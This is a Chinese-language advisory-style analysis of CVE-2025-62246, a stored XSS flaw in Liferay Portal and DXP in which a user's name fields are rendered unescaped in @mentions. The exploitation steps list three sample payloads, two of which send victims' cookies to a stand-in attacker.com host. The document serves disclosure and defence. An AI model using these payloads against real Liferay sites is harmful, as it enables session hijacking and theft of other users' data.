CVE-2025-62246CVE-2025-62246 是 Liferay Portal 和 Liferay DXP 产品中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由 [email protected] 于2025年10月13日披露,CVSS 3.1 评分为 5.4,属于中危级别漏洞。
该漏洞影响 Liferay Portal 7.4.0 至 7.4.3.111 版本及更早的不受支持版本,以及 Liferay DXP 2023.Q4.0 至 2023.Q4.5、2023.Q3.1 至 2023.Q3.8、7.4 GA 至 update 92 版本及更早的不受支持版本。
漏洞的核心问题在于,远程认证用户可以通过在用户的名字(名、中间名或姓)文本字段中注入精心构造的恶意载荷(payload),当其他用户查看包含该用户提及(mentions)的页面时,恶意脚本将在受害者的浏览器中执行。受影响的组件包括:(1)页面评论小部件(page comments widget)、(2)博客条目评论(blog entry comments)、(3)文档和媒体文档评论(document and media document comments)、(4)留言板消息(message board messages)、(5)wiki 页面评论(wiki page comments)以及(6)其他支持提及功能的组件。
由于该漏洞需要低权限认证(PR:L)且需要用户交互(UI:R)触发,因此攻击者需要先拥有一个有效的 Liferay 账户,然后通过修改个人资料中的姓名字段来注入恶意脚本。当其他用户访问包含该用户提及的页面时,恶意代码将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或执行未授权操作等安全风险。
该存储型 XSS 漏洞的根本原因在于 Liferay Portal/DXP 在处理用户提及(user mentions)功能时,未对用户姓名字段(first name、middle name、last name)中的特殊字符进行充分的输入验证和输出编码。
**漏洞原理:**
1. Liferay 平台支持在多个组件(如评论、留言板、Wiki 等)中使用 @提及 功能来引用其他用户。
2. 当用户被提及时,系统会从用户档案中读取其姓名信息并在页面上渲染显示。
3. 由于姓名字段未进行严格的 HTML 实体编码或输入过滤,攻击者可以在姓名字段中插入恶意 HTML/JavaScript 代码。
4. 当其他用户访问包含该用户提及的页面时,恶意代码被存储在数据库中的载荷会被直接渲染到受害者的浏览器中,从而触发 XSS 攻击。
**利用方式:**
1. 攻击者使用有效的低权限账户登录 Liferay Portal。
2. 修改个人资料,将姓名字段设置为包含恶意 JavaScript 代码的 payload,例如:
- 名(First Name):`<img src=x onerror=alert(document.cookie)>`
- 中间名(Middle Name):`<svg onload=fetch('//attacker.com/?c='+document.cookie)>`
- 姓(Last Name):`<script>document.location='//attacker.com/?c='+document.cookie</script>`
3. 攻击者在支持提及功能的组件(如博客评论、Wiki 页面等)中使用 @用户名 语法提及自己。
4. 当其他用户(受害者)查看包含该提及的页面时,恶意脚本将在受害者浏览器中执行。
5. 攻击者可以利用窃取的会话 cookie 或其他方式进行进一步攻击。
由于该漏洞涉及范围(Scope)发生变化(S:C),影响范围不仅限于被攻击的组件,还可能波及其他安全域。